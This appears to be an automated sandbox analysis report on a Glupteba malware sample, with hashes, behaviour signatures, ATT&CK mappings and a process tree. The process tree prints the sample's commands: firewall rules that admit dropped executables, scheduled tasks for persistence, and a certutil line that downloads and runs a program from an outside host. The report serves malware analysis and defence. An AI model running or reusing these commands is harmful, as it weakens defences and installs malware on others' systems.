Overview

overview

10

Static

static

3

72598481bc...18.exe

windows7-x64

10

72598481bc...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-05-2024 15:00

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    72598481bc6735bd83de5bf7bf134215_JaffaCakes118.exe

  • Size

    3.7MB

  • MD5

    72598481bc6735bd83de5bf7bf134215

  • SHA1

    9cef453bec4de1faacda7719a1f4fdc1ed650572

  • SHA256

    c5d05bda3e5cf45569b1b2154f6c3c10f2b6267037c54723ce835bd1a0aa2dfb

  • SHA512

    058c4485da2b2b913a00c99de10ae44bd84d822cd138e132e14c0fddcb59ca111d767a7686206062d8b9b96beb79dff7158f79d48b09f1f62325813db86fb919

  • SSDEEP

    98304:4FQ6obJGMmJpG51rV6U5BQF8OrvOkW1q:BlbwJw3V15BQSOykW1

Score
10/10
gluptebadiscoverydropperevasionloaderpersistencerootkit

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 22 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\72598481bc6735bd83de5bf7bf134215_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\72598481bc6735bd83de5bf7bf134215_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1296
    • C:\Users\Admin\AppData\Local\Temp\72598481bc6735bd83de5bf7bf134215_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\72598481bc6735bd83de5bf7bf134215_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3956
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2420
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:2932
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\322be74bf764\322be74bf764.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2704
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\322be74bf764\322be74bf764.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:1204
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4948
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:5020
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:952
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:2524
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1
T1053

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Scheduled Task/Job

1
T1053

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Scheduled Task/Job

1
T1053

Defense Evasion

Impair Defenses

1
T1562

Disable or Modify System Firewall

1
T1562.004

Modify Registry

2
T1112

Subvert Trust Controls

1
T1553

Install Root Certificate

1
T1553.004

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    Download Submit
  • C:\Windows\rss\csrss.exe
    Filesize

    3.7MB

    MD5

    72598481bc6735bd83de5bf7bf134215

    SHA1

    9cef453bec4de1faacda7719a1f4fdc1ed650572

    SHA256

    c5d05bda3e5cf45569b1b2154f6c3c10f2b6267037c54723ce835bd1a0aa2dfb

    SHA512

    058c4485da2b2b913a00c99de10ae44bd84d822cd138e132e14c0fddcb59ca111d767a7686206062d8b9b96beb79dff7158f79d48b09f1f62325813db86fb919

    Download Submit
  • memory/1296-1-0x0000000001680000-0x0000000001A2E000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/1296-2-0x0000000001A30000-0x000000000212C000-memory.dmp
    Filesize

    7.0MB

    Download
  • memory/1296-3-0x0000000000400000-0x0000000000B16000-memory.dmp
    Filesize

    7.1MB

    Download
  • memory/1296-4-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/1296-5-0x0000000001A30000-0x000000000212C000-memory.dmp
    Filesize

    7.0MB

    Download
  • memory/1296-6-0x0000000000400000-0x0000000000B16000-memory.dmp
    Filesize

    7.1MB

    Download
  • memory/3956-8-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/3956-9-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/3956-10-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/3956-15-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-20-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-21-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-22-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-23-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-24-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-25-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-26-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-27-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-28-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-29-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-30-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-31-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-32-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4948-33-0x0000000000400000-0x0000000001318000-memory.dmp
    Filesize

    15.1MB

    Download